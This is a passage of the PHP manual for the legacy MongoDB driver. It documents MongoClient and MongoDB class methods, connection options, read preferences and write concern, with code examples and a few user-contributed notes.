    A boolean to specify whether you want to enable SSL for the connections to MongoDB. Extra options such as certificates can be set with SSL context options.

  • "username"

    The username can be specified here, instead of including it in the host list. This is especially useful if a username has a ":" in it. This overrides a username set in the host list.

  • "w"

    The w option specifies the Write Concern for the driver, which determines how long the driver blocks when writing. The default value is 1.

    This option is applicable when connecting to both single servers and replica sets. A positive value controls how many nodes must acknowledge the write instruction before the driver continues. A value of 1 would require the single server or primary (in a replica set) to acknowledge the write operation. A value of 3 would cause the driver to block until the write has been applied to the primary as well as two secondary servers (in a replica set).

    A string value is used to control which tag sets are taken into account for write concerns. "majority" is special and ensures that the write operation has been applied to the majority (more than 50%) of the participating nodes.

  • "wTimeoutMS"

    This option specifies the time limit, in milliseconds, for write concern acknowledgement. It is only applicable for write operations where "w" is greater than 1, as the timeout pertains to replication. If the write concern is not satisfied within the time limit, a MongoCursorException will be thrown. A value of 0 may be specified to block indefinitely. The default value is 10000 (ten seconds).

The following options are deprecated and should no longer be used:

  • "slaveOkay"

    Deprecated. Please use the read preference options.

  • "timeout"

    Deprecated alias for "connectTimeoutMS".

  • "wTimeout"

    Deprecated alias for "wTimeoutMS".

driver_options

An array of options for the MongoDB driver. Options include setting connection context options for SSL or logging callbacks.

  • "context"

    The Stream Context to attach to all new connections. This allows you for example to configure SSL certificates and are described at SSL context options. See the Connecting over SSL tutorial.

Return Values

Returns a new database connection object.

Errors/Exceptions

Throws MongoConnectionException if it tries and fails to connect to the database for all hostnames given. It will also throw a MongoConnnectionException if an invalid username or password is given. See MongoConnectionException documentation for common exceptions and their causes.

Examples

Example #1 MongoClient::__construct() replica set example

This example shows how to connect the driver to a replica set. It assumes that there is a set of three servers: sf1.example.com, sf2.example.com, and ny1.example.com. The primary could be any one of these servers.

<?php

// pass a comma-separated list of server names to the constructor
// Note that we don't need to pass in all the members of the replicaset, the driver
// will derive the full list.
$m1 = new MongoClient("mongodb://sf2.example.com,ny1.example.com", array("replicaSet" => "myReplSet"));

?>

If the current primary fails, the driver will figure out which secondary server became the new primary and automatically start using that connection. Automatic failover will not work correctly if replicaSet is not specified.

At least one seed in the seed list must be up for the driver to connect to the replica set.

If you include seeds from two separate replica sets, behavior is undefined.

See the » core documentation on replica sets for more information.

Example #2 Connecting to a domain socket

In version 1.0.9+, you can use a UNIX domain socket to connect to an instance of MongoDB running locally. This should be slightly faster than using a network connection.

In version 1.5.0, the MongoDB server automatically opens a socket at /tmp/mongodb-<port>.sock. You can connect to this by specifying the path in your connection string:

<?php

// MongoDB server running locally on port 20000
$m = new MongoClient("mongodb:///tmp/mongodb-20000.sock");

?>

You can combine this with any other connections you'd like:

<?php

// try to connect to the domain socket, fall back to localhost connection
$m = new MongoClient("mongodb:///tmp/mongodb-27017.sock,localhost:27017");

?>

Example #3 MongoClient::__construct() authentication example

A user must exist in the admin database before attempting to use authentication. You can create one with the Mongo shell by running:

> use admin
switched to db admin
> db.addUser("testUser", "testPass");
{
        "_id" : ObjectId("4b21272fd9ab21611d19095c"),
        "user" : "testUser",
        "pwd" : "03b9b27e0abf1865e2f6fcbd9845dd59"
}
>

After creating a user with, in this case, username "testUser" and password "testPass", you can create an authenticated connection:

<?php

$m = new MongoClient("mongodb://testUser:testPass@localhost");

?>

Example #4 MongoClient::__construct() read preference example

<?php

// Prefer the nearest server in the "east" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

See the read preferences section of this manual for further information.

Example #5 MongoClient::__construct() options example

Options can be passed both through the query string in the connection string, or as an array passed as second argument to the constructor.

Here we set the journal option to true and readPreference to secondary preferred as default for all write operations:

<?php
$m = new MongoClient("mongodb://localhost/?journal=true&readPreference=secondary");
?>

And now we do the same, but as an options array:

<?php
$options = array(
    'journal' => true,
    'readPreference' => 'secondary',
);
$m = new MongoClient("mongodb://localhost/", $options);
?>

Example #6 MongoClient::__construct() read preference example

<?php

// Prefer the nearest server in the "east" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

See the read preferences section of this manual for further information.

Changelog

Version | Description
1.5.0

Added "authMechanism", "gssapiServiceName", and "secondaryAcceptableLatencyMS".

1.4.0

Added "ssl" option and support for connecting over SSL.

Added "wTimeoutMS" option, which replaces "wTimeout".

Emits E_DEPRECATED when "slaveOkay" or "timeout" is used.

1.5.0

Added "authSource".

1.3.4

Added "connectTimeoutMS" and "socketTimeoutMS" options.

1.3.0

Added "readPreference", "readPreferenceTags", "w", and "wTimeout" options.

1.2.0

Added "username" and "password" options.

Removed "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything.

"persist"

If the connection should be persistent. If set, the connection will be persistent. The string representation of the value is used as an ID for the connection, so two instances of MongoClient that are initialized with array("persist" => "foobar") will share the same database connection, whereas an instance initialized with array("persist" => "barbaz") will use a different database connection.

The "replicaSet" option now takes a string, not a boolean.

1.0.9 | Added "replicaSet" option.
1.0.2

Changed constructor to take an array of options. Pre-1.0.2, the constructor took the following parameters:

server

The server name.

connect

Optional boolean parameter specifying if the constructor should connect to the database before returning. Defaults to TRUE.

persistent

If the connection should be persistent.

paired

If the connection should be paired.

User Contributed Notes

mike at eastghost dot com 10-Oct-2013 01:56
HOLY MOLY, 100 to 200 times instant speed boost in one small change.

"In version 1.0.9+, you can use a UNIX domain socket to connect to an instance of MongoDB running locally. This should be slightly faster than using a network connection."

is an EXTREME understatement.  Just trying out stuff, playing around, etc., we changed from

MongoClient( 'mongodb://pri.eastghost.com:27017' etc)

to

MongoClient ( 'mongodb:///tmp/mongodb-27017.sock' etc)

and saw instant 100x-200x speed boost, all else untouched.
page times went from 700 - 1400 (as in 1.4 seconds)
to 7 as in milliseconds.

mongo driver 1.4.1
(for apache 2.6)
mike at eastghost dot com 06-Mar-2013 01:44
read somewhere that

$uri  = 'mongodb://rs1.example.com/?w=0';

(the w=0 parm) makes the MongoDB driver accept 'blind writes' without waiting for any confirmation of write success from server.


Drops a database [deprecated]

  • « MongoClient::__construct
  • MongoClient::__get »
  • PHP Manual
  • MongoClient
  • Drops a database [deprecated]

MongoClient::dropDB

(PECL mongo >=1.3.0)

MongoClient::dropDB — Drops a database [deprecated]

Description

public array MongoClient::dropDB ( mixed $db )
Warning

Deprecated

Use MongoDB::drop() instead.

Parameters

db

The database to drop. Can be a MongoDB object or the name of the database.

Return Values

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.


Gets a database

  • « MongoClient::dropDB
  • MongoClient::getConnections »
  • PHP Manual
  • MongoClient
  • Gets a database

MongoClient::__get

(PECL mongo >=1.3.0)

MongoClient::__get — Gets a database

Description

public MongoDB MongoClient::__get ( string $dbname )

This is the cleanest way of getting a database. If the database name has any special characters, MongoClient::selectDB() will need to be used; however, this should be sufficient for most cases.

<?php

$mongo = new MongoClient();

// the following two lines are equivalent
$db = $mongo->selectDB("foo");
$db = $mongo->foo;

?>

Parameters

dbname

The database name.

Return Values

Returns a new db object.

Errors/Exceptions

Throws a generic exception if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.


Return info about all open connections

  • « MongoClient::__get
  • MongoClient::getHosts »
  • PHP Manual
  • MongoClient
  • Return info about all open connections

MongoClient::getConnections

(PECL mongo >=1.3.0)

MongoClient::getConnections — Return info about all open connections

Description

public static array MongoClient::getConnections ( void )

Returns an array of all open connections, and information about each of the servers

Parameters

This function has no parameters.

Return Values

An array of open connections.

Examples

Example #1 MongoClient::getConnections() example

<?php
$m = new MongoClient;
var_dump($m->getConnections());
?>

The above example will output something similar to:

array(1) {
  [0]=>
  array(3) {
    ["hash"]=>
    string(26) "localhost:27017;-;X;56052"
    ["server"]=>
    array(3) {
      ["host"]=>
      string(10) "localhost"
      ["port"]=>
      int(27017)
      ["pid"]=>
      int(56052)
    }
    ["connection"]=>
    array(8) {
      ["last_ping"]=>
      int(1354076401)
      ["last_ismaster"]=>
      int(0)
      ["ping_ms"]=>
      int(0)
      ["connection_type"]=>
      int(1)
      ["connection_type_desc"]=>
      string(10) "STANDALONE"
      ["max_bson_size"]=>
      int(16777216)
      ["tag_count"]=>
      int(0)
      ["tags"]=>
      array(0) {
      }
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Updates status for all associated hosts

  • « MongoClient::getConnections
  • MongoClient::getReadPreference »
  • PHP Manual
  • MongoClient
  • Updates status for all associated hosts

MongoClient::getHosts

(PECL mongo >=1.3.0)

MongoClient::getHosts — Updates status for all associated hosts

Description

public array MongoClient::getHosts ( void )

This method is only useful with a connection to a replica set. It returns the status of all of the hosts in the set. Without a replica set, it will just return an array with one element containing the host that you are connected to.

See the query section of this manual for information on distributing reads to secondaries.

Parameters

This function has no parameters.

Return Values

Returns an array of information about the hosts in the set. Includes each host's hostname, its health (1 is healthy), its state (1 is primary, 2 is secondary, 0 is anything else), the amount of time it took to ping the server, and when the last ping occurred. For example, on a three-member replica set, it might look something like:

array(3) {
  ["A:27017"]=>
  array(4) {
    ["host"]=>
    "A"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(369)
    ["lastPing"]=>
    int(1309470644)
  }
  ["B:27017"]=>
  array(4) {
    ["host"]=>
    "B"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(1)
    ["ping"]=>
    int(139)
    ["lastPing"]=>
    int(1309470644)
  }
  ["C:27017"]=>
  array(4) {
    ["host"]=>
    "C"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(1012)
    ["lastPing"]=>
    int(1309470644)
  }
}

Changelog

Version | Description
1.2.10 | Support for non-replicasets was added. The returned array elements now also include the hostname and port.

See Also

  • MongoClient::getConnections() - Return info about all open connections

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this connection

  • « MongoClient::getHosts
  • MongoClient::getWriteConcern »
  • PHP Manual
  • MongoClient
  • Get the read preference for this connection

MongoClient::getReadPreference

(PECL mongo >=1.3.0)

MongoClient::getReadPreference — Get the read preference for this connection

Description

public array MongoClient::getReadPreference ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the read preference. The array contains the values type for the string read preference mode (corresponding to the MongoClient constants), and tagsets containing a list of all tag set criteria. If no tag sets were specified, tagsets will not be present in the array.

Changelog

Version | Description
1.3.3 | The return value has changed to be consistent with MongoClient::setReadPreference(). The type value was changed from a number to a string, type_string was removed, and tagsets now expresses tags as key/value pairs instead of colon-delimited strings.

Examples

Example #1 MongoClient::getReadPreference() return value example

<?php

$m = new MongoClient();
$m->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($m->getReadPreference());
?>

The above example will output:

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

See Also

  • The read preferences documentation.
  • MongoClient::setReadPreference() - Set the read preference for this connection

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this connection

  • « MongoClient::getReadPreference
  • MongoClient::killCursor »
  • PHP Manual
  • MongoClient
  • Get the write concern for this connection

MongoClient::getWriteConcern

(PECL mongo >=1.5.0)

MongoClient::getWriteConcern — Get the write concern for this connection

Description

public array MongoClient::getWriteConcern ( void )

Parameters

This function has no parameters.

Return Values

This function returns an array describing the write concern. The array contains the values w for an integer acknowledgement level or string mode, and wtimeout denoting the maximum number of milliseconds to wait for the server to satisfy the write concern.

Examples

Example #1 MongoClient::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
var_dump($mc->getWriteConcern());

$mc->setWriteConcern(1, 1000);
var_dump($mc->getWriteConcern());
?>

The above example will output:

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

See Also

  • The write concern documentation.
  • MongoClient::setWriteConcern() - Set the write concern for this connection

User Contributed Notes

There are no user contributed notes for this page.


Kills a specific cursor on the server

  • « MongoClient::getWriteConcern
  • MongoClient::listDBs »
  • PHP Manual
  • MongoClient
  • Kills a specific cursor on the server

MongoClient::killCursor

(PECL mongo >=1.5.0)

MongoClient::killCursor — Kills a specific cursor on the server

Description

public bool MongoClient::killCursor ( string $server_hash , int|MongoInt64 $id )

In certain situations it might be needed to kill a cursor on the server. Usually cursors time out after 10 minutes of inactivity, but it is possible to create an immortal cursor with MongoCursor::immortal() that never times out. In order to be able to kill such an immortal cursor, you can call this method with the information supplied by MongoCursor::info().

Parameters

server_hash

The server hash that has the cursor. This can be obtained through MongoCursor::info().

id

The ID of the cursor to kill. You can either supply an int containing the 64 bit cursor ID, or an object of the MongoInt64 class. The latter is necessary on 32 bit platforms (and Windows).

Return Values

Returns TRUE if the method attempted to kill a cursor, and FALSE if there was something wrong with the arguments (such as a wrong server_hash). The return status does not reflect where the cursor was actually killed as the server does not provide that information.

Errors/Exceptions

This method displays a warning if the supplied server_hash does not match up with an existing connection. No attempt to kill a cursor is attempted in that case either.

Examples

Example #1 MongoClient::killCursor() example

This example shows how to connect, do a query, obtain the cursor information and then kill the cursor.

<?php
$m = new MongoClient();
$c = $m->testdb->collection;
$cursor = $c->find();
$result = $cursor->next();

// Now the cursor is valid, so we can get the hash and ID out:
$info = $cursor->info();

// Kill the cursor
MongoClient::killCursor( $info['server'], $info['id'] );
?>

User Contributed Notes

There are no user contributed notes for this page.


Lists all of the databases available.

  • « MongoClient::killCursor
  • MongoClient::selectCollection »
  • PHP Manual
  • MongoClient
  • Lists all of the databases available.

MongoClient::listDBs

(PECL mongo >=1.3.0)

MongoClient::listDBs — Lists all of the databases available.

Description

public array MongoClient::listDBs ( void )

Parameters

This function has no parameters.

Return Values

Returns an associative array containing three fields. The first field is databases, which in turn contains an array. Each element of the array is an associative array corresponding to a database, giving th database's name, size, and if it's empty. The other two fields are totalSize (in bytes) and ok, which is 1 if this method ran successfully.

Examples

Example #1 MongoClient::listDBs() example

Example demonstrating how to use listDBs and the returned data structure.

<?php

$mongo = new MongoClient();
$dbs = $mongo->listDBs();
print_r($dbs);

?>

The above example will output something similar to:

Array
(
    [databases] => Array
        (
            [0] => Array
                (
                    [name] => doctrine
                    [sizeOnDisk] => 218103808
                    [empty] =>
                )
        )

    [totalSize] => 218103808
    [ok] => 1
)

User Contributed Notes

George Gombay 02-Jun-2014 07:41
A "no frills" listing of all the databases present can be obtained by means of the simple following steps:

<?php
$conn = new MongoClient("mongodb://localhost");
$dbases = $conn->listDBs();
$num = 0;
foreach ($dbases['databases'] as $dbs) {
         $num++;
        $dbname = $dbs['name'];
         echo "<br> $num. $dbname";
     }
?>

On the assumption that you have three databases present, the foregoing will produce an output that will look similar to this:

1. local
2. members
3. test


Gets a database collection

  • « MongoClient::listDBs
  • MongoClient::selectDB »
  • PHP Manual
  • MongoClient
  • Gets a database collection

MongoClient::selectCollection

(PECL mongo >=1.3.0)

MongoClient::selectCollection — Gets a database collection

Description

public MongoCollection MongoClient::selectCollection ( string $db , string $collection )

Parameters

db

The database name.

collection

The collection name.

Return Values

Returns a new collection object.

Errors/Exceptions

Throws Exception if the database or collection name is invalid.

Examples

Example #1 MongoClient::selectCollection() example

<?php
$m = new MongoClient();

$c1 = $m->selectCollection("foo", "bar.baz");
// which is equivalent to
$c2 = $m->selectDB("foo")->selectCollection("bar.baz");

// $c1 and $c2 now represent the same collection
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets a database

  • « MongoClient::selectCollection
  • MongoClient::setReadPreference »
  • PHP Manual
  • MongoClient
  • Gets a database

MongoClient::selectDB

(PECL mongo >=1.3.0)

MongoClient::selectDB — Gets a database

Description

public MongoDB MongoClient::selectDB ( string $name )

Parameters

name

The database name.

Return Values

Returns a new database object.

Errors/Exceptions

Throws Exception if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.


Set the read preference for this connection

  • « MongoClient::selectDB
  • MongoClient::setWriteConcern »
  • PHP Manual
  • MongoClient
  • Set the read preference for this connection

MongoClient::setReadPreference

(PECL mongo >=1.3.0)

MongoClient::setReadPreference — Set the read preference for this connection

Description

public bool MongoClient::setReadPreference ( string $read_preference [, array $tags ] )

Parameters

read_preference

The read preference mode: MongoClient::RP_PRIMARY, MongoClient::RP_PRIMARY_PREFERRED, MongoClient::RP_SECONDARY, MongoClient::RP_SECONDARY_PREFERRED, or MongoClient::RP_NEAREST.

tags

An array of zero or more tag sets, where each tag set is itself an array of criteria used to match tags on replica set members.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if either parameter is invalid, or if one or more tag sets are provided with the MongoClient::RP_PRIMARY read preference mode.

Examples

Example #1 MongoClient::setReadPreference() tag set array syntax example

<?php

$m = new MongoClient();

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

See Also

  • The read preferences documentation.
  • MongoClient::getReadPreference() - Get the read preference for this connection

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this connection

  • « MongoClient::setReadPreference
  • MongoClient::__toString »
  • PHP Manual
  • MongoClient
  • Set the write concern for this connection

MongoClient::setWriteConcern

(PECL mongo >=1.5.0)

MongoClient::setWriteConcern — Set the write concern for this connection

Description

public bool MongoClient::setWriteConcern ( mixed $w [, int $wtimeout ] )

Parameters

w

The write concern. This may be an integer denoting the number of servers required to acknowledge the write, or a string mode (e.g. "majority").

wtimeout

The maximum number of milliseconds to wait for the server to satisfy the write concern.

Return Values

Returns TRUE on success, or FALSE otherwise.

Errors/Exceptions

Emits E_WARNING if the w parameter is not an integer or string value.

Examples

Example #1 MongoClient::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$mc->setWriteConcern('majority', 3000);
?>

See Also

  • The write concern documentation.
  • MongoClient::getWriteConcern() - Get the write concern for this connection

User Contributed Notes

There are no user contributed notes for this page.


String representation of this connection

  • « MongoClient::setWriteConcern
  • MongoDB »
  • PHP Manual
  • MongoClient
  • String representation of this connection

MongoClient::__toString

(PECL mongo >=1.3.0)

MongoClient::__toString — String representation of this connection

Description

public string MongoClient::__toString ( void )

Parameters

This function has no parameters.

Return Values

Returns hostname and port for this connection.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB class

(PECL mongo >=0.9.0)

Introduction

Instances of this class are used to interact with a database. To get a database:

Example #1 Selecting a database

<?php

$m = new MongoClient(); // connect
$db = $m->selectDB("example");

?>
Database names can use almost any character in the ASCII range. However, they cannot contain " ", "." or be the empty string. The name "system" is also reserved.

A few unusual, but valid, database names: "null", "[x,y]", "3", "\"", "/".

Unlike collection names, database names may contain "$".

Class synopsis

MongoDB {
/* Constants */
const int PROFILING_OFF = 0 ;
const int PROFILING_SLOW = 1 ;
const int PROFILING_ON = 2 ;
/* Fields */
public integer $w = 1 ;
public integer $wtimeout = 10000 ;
/* Methods */
public array authenticate ( string $username , string $password )
public array command ( array $command [, array $options = array() ] )
public __construct ( MongoClient $conn , string $name )
public MongoCollection createCollection ( string $name [, array $options ] )
public array createDBRef ( string $collection , mixed $document_or_id )
public array drop ( void )
public array dropCollection ( mixed $coll )
public array execute ( mixed $code [, array $args = array() ] )
public bool forceError ( void )
public MongoCollection __get ( string $name )
public array getCollectionNames ([ bool $includeSystemCollections = false ] )
public array getDBRef ( array $ref )
public MongoGridFS getGridFS ([ string $prefix = "fs" ] )
public int getProfilingLevel ( void )
public array getReadPreference ( void )
public bool getSlaveOkay ( void )
public array getWriteConcern ( void )
public array lastError ( void )
public array listCollections ([ bool $includeSystemCollections = false ] )
public array prevError ( void )
public array repair ([ bool $preserve_cloned_files = FALSE [, bool $backup_original_files = FALSE ]] )
public array resetError ( void )
public MongoCollection selectCollection ( string $name )
public int setProfilingLevel ( int $level )
public bool setReadPreference ( string $read_preference [, array $tags ] )
public bool setSlaveOkay ([ bool $ok = true ] )
public bool setWriteConcern ( mixed $w [, int $wtimeout ] )
public string __toString ( void )
}

Predefined Constants

MongoDB Log Levels

MongoDB::PROFILING_OFF
0
Profiling is off.
MongoDB::PROFILING_SLOW
1
Profiling is on for slow operations (>100 ms).
MongoDB::PROFILING_ON
2
Profiling is on for all operations.

Fields

w
1

The number of servers to replicate a change to before returning success. Inherited by instances of MongoCollection derived from this. w functionality is only available in version 1.5.1+ of the MongoDB server and 1.0.8+ of the driver.

w is used whenever you need to adjust the acknowledgement level (MongoCollection::insert(), MongoCollection::update(), MongoCollection::remove(), MongoCollection::save(), and MongoCollection::ensureIndex() all support this option). With the default value (1), an acknowledged operation will return once the database server has the operation. If the server goes down before the operation has been replicated to a secondary, it is possible to lose the operation forever. Thus, you can specify w to be higher than one and guarantee that at least one secondary has the operation before it is considered successful.

For example, if w is 2, the primary and one secondary must have a record of the operation or the driver will throw a MongoCursorException. It is tempting to set w to the total number of secondaries + primary, but then if one secondary is down the operation will fail and an exception will be thrown, so usually w=2 is safest (primary and one secondary).

wtimeout
10000

The number of milliseconds to wait for MongoDB::$w replications to take place. Inherited by instances of MongoCollection derived from this. w functionality is only available in version 1.5.1+ of the MongoDB server and 1.0.8+ of the driver.

Unless wtimeout is set, the server waits forever for replicating to w servers to finish. The driver defaults to waiting for 10 seconds, you can change this value to alter its behavior.

See Also

MongoDB core docs on » databases.

Table of Contents

  • MongoDB::authenticate — Log in to this database
  • MongoDB::command — Execute a database command
  • MongoDB::__construct — Creates a new database
  • MongoDB::createCollection — Creates a collection
  • MongoDB::createDBRef — Creates a database reference
  • MongoDB::drop — Drops this database
  • MongoDB::dropCollection — Drops a collection [deprecated]
  • MongoDB::execute — Runs JavaScript code on the database server.
  • MongoDB::forceError — Creates a database error
  • MongoDB::__get — Gets a collection
  • MongoDB::getCollectionNames — Get all collections from this database
  • MongoDB::getDBRef — Fetches the document pointed to by a database reference
  • MongoDB::getGridFS — Fetches toolkit for dealing with files stored in this database
  • MongoDB::getProfilingLevel — Gets this database's profiling level
  • MongoDB::getReadPreference — Get the read preference for this database
  • MongoDB::getSlaveOkay — Get slaveOkay setting for this database
  • MongoDB::getWriteConcern — Get the write concern for this database
  • MongoDB::lastError — Check if there was an error on the most recent db operation performed
  • MongoDB::listCollections — Gets an array of all MongoCollections for this database
  • MongoDB::prevError — Checks for the last error thrown during a database operation
  • MongoDB::repair — Repairs and compacts this database
  • MongoDB::resetError — Clears any flagged errors on the database
  • MongoDB::selectCollection — Gets a collection
  • MongoDB::setProfilingLevel — Sets this database's profiling level
  • MongoDB::setReadPreference — Set the read preference for this database
  • MongoDB::setSlaveOkay — Change slaveOkay setting for this database
  • MongoDB::setWriteConcern — Set the write concern for this database
  • MongoDB::__toString — The name of this database

User Contributed Notes

m dot espositoii at yahoo dot com 27-Aug-2011 12:11
With Mongo it'll automatically create the collection, so just start using it and it'll do the creation itself.

In other words... just use SelectCollection, if it doesn't exist, it will after that so you can drop it.
jeromakay at yahoo dot com 20-Jan-2011 09:19
based on what I've read and then applied, you don't have to specifically create a database or table, you just initialize it.

Indeed, files are not being written inside /data/db, but they will the first moment you start adding data.

So, I'm taking as an example Twitter, with no db defined, I'm still going to have the db available if I run this code:

<?php

define('TWITTER_API_VERSION', 1);

date_default_timezone_set("Europe/Dublin");

try
{
    $m = new Mongo(); // connect
    $db = $m->selectDB("example");
}
catch ( MongoConnectionException $e )
{
    echo '<p>Couldn\'t connect to mongodb, is the "mongo" process running?</p>';
    exit();
}

$updates = file_get_contents( "http://api.twitter.com/". TWITTER_API_VERSION ."/statuses/public_timeline.json" );
$updates = json_decode( $updates );

if ( $updates && is_array( $updates ) && count( $updates ) )
{
    foreach ( $updates as $update )
    {
        $db->users->insert( $update );
    }
}

?>

Hope this was helpful!

Good luck!
Vladimir Ghetau


Log in to this database

  • « MongoDB
  • MongoDB::command »
  • PHP Manual
  • MongoDB
  • Log in to this database

MongoDB::authenticate

(PECL mongo >=1.0.1)

MongoDB::authenticate — Log in to this database

Description

public array MongoDB::authenticate ( string $username , string $password )

This method causes its connection to be authenticated. If authentication is enabled for the database server (it's not, by default), you need to log in before the database will allow you to do anything.

In general, you should use the authenticate built into MongoClient::__construct() in preference to this method. If you authenticate on connection and the connection drops and reconnects during your session, you'll be reauthenticated. If you manually authenticated using this method and the connection drops, you'll have to call this method again once you're reconnected.

This method is identical to running:

<?php

$salted = "${username}:mongo:${password}";
$hash = md5($salted);

$nonce = $db->command(array("getnonce" => 1));

$saltedHash = md5($nonce["nonce"]."${username}${hash}");

$result = $db->command(array("authenticate" => 1,
    "user" => $username,
    "nonce" => $nonce["nonce"],
    "key" => $saltedHash
));

?>

Once a connection has been authenticated, it can only be un-authenticated by using the "logout" database command:

<?php

$db->command(array("logout" => 1));

?>

Parameters

username

The username.

password

The password (in plaintext).

Return Values

Returns database response. If the login was successful, it will return

<?php
array("ok" => 1);
?>
If something went wrong, it will return
<?php
array("ok" => 0, "errmsg" => "auth fails");
?>
("auth fails" could be another message, depending on database version and what when wrong).

See Also

MongoDB core docs on » authenticate.

Changelog

Version | Description
1.2.11 | Emits E_DEPRECATED when used. Please pass in the authentication details to the constructor.

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command

  • « MongoDB::authenticate
  • MongoDB::__construct »
  • PHP Manual
  • MongoDB
  • Execute a database command

MongoDB::command

(PECL mongo >=0.9.2)

MongoDB::command — Execute a database command

Description

public array MongoDB::command ( array $command [, array $options = array() ] )

Almost everything that is not a CRUD operation can be done with a database command. Need to know the database version? There's a command for that. Need to do aggregation? There's a command for that. Need to turn up logging? You get the idea.

This method is identical to:

<?php

public function command($data) {
    return $this->selectCollection('$cmd')->findOne($data);
}

?>

Parameters

command

The query to send.

options

An array of options for the index creation. Currently available options include:

  • "socketTimeoutMS"

    This option specifies the time limit, in milliseconds, for socket communication. If the server does not respond within the timeout period, a MongoCursorTimeoutException will be thrown and there will be no way to determine if the server actually handled the write or not. A value of -1 may be specified to block indefinitely. The default value for MongoClient is 30000 (30 seconds).

The following options are deprecated and should no longer be used:

  • "timeout"

    Deprecated alias for "socketTimeoutMS".

Changelog

Version | Description
1.5.0 | Renamed the "timeout" option to "socketTimeoutMS". Emits E_DEPRECATED when "timeout" is used.
1.2.0 | Added options parameter with a single option: "timeout".

Return Values

Returns database response. Every database response is always maximum one document, which means that the result of a database command can never exceed 16MB. The resulting document's structure depends on the command, but most results will have the ok field to indicate success or failure and results containing an array of each of the resulting documents.

Examples

Example #1 MongoDB::command() "distinct" example

Finding all of the distinct values for a key.

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(array("distinct" => "people", "key" => "age"));

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

The above example will output something similar to:

4
22
87

Example #2 MongoDB::command() "distinct" example

Finding all of the distinct values for a key, where the value is larger than or equal to 18.

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(
    array(
        "distinct" => "people",
        "key" => "age",
        "query" => array("age" => array('$gte' => 18))
    )
);

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

The above example will output something similar to:

22
87

Example #3 MongoDB::command() MapReduce example

Get all users with at least on "sale" event, and how many times each of these users has had a sale.

<?php

// sample event document
$events->insert(array("user_id" => $id,
    "type" => $type,
    "time" => new MongoDate(),
    "desc" => $description));

// construct map and reduce functions
$map = new MongoCode("function() { emit(this.user_id,1); }");
$reduce = new MongoCode("function(k, vals) { ".
    "var sum = 0;".
    "for (var i in vals) {".
        "sum += vals[i];".
    "}".
    "return sum; }");

$sales = $db->command(array(
    "mapreduce" => "events",
    "map" => $map,
    "reduce" => $reduce,
    "query" => array("type" => "sale"),
    "out" => array("merge" => "eventCounts")));

$users = $db->selectCollection($sales['result'])->find();

foreach ($users as $user) {
    echo "{$user['_id']} had {$user['value']} sale(s).\n";
}

?>

The above example will output something similar to:

User 47cc67093475061e3d9536d2 had 3 sale(s).
User 49902cde5162504500b45c2c had 14 sale(s).
User 4af467e4fd543cce7b0ea8e2 had 1 sale(s).

Note: Using MongoCode

This example uses MongoCode, which can also take a scope argument. However, at the moment, MongoDB does not support using scopes in MapReduce. If you would like to use client-side variables in the MapReduce functions, you can add them to the global scope by using the optional scope field with the database command. See the » MapReduce documentation for more information.

Note: The out argument

Before 1.8.0, the out argument was optional. If you did not use it, MapReduce results would be written to a temporary collection, which would be deleted when your connection was closed. In 1.8.0+, the out argument is required. See the » MapReduce documentation for more information.

If you are going to be using MapReduce, Prajwal Tuladhar created an API for Mongo PHP users which provides a nicer interface than the bare command. You can download it from » Github and there is a » blog post on how to use it.

Example #4 MongoDB::command() "textSearch" example

Do a fulltext search lookup with MongoDB's 2.4 and higher "text search" functionality.

<?php
$m = new MongoClient();
$d = $m->demo;
$c = $d->planets;

$c->insert(array("name" => "Mercury", "desc" => "Mercury is the smallest and closest to the Sun"));
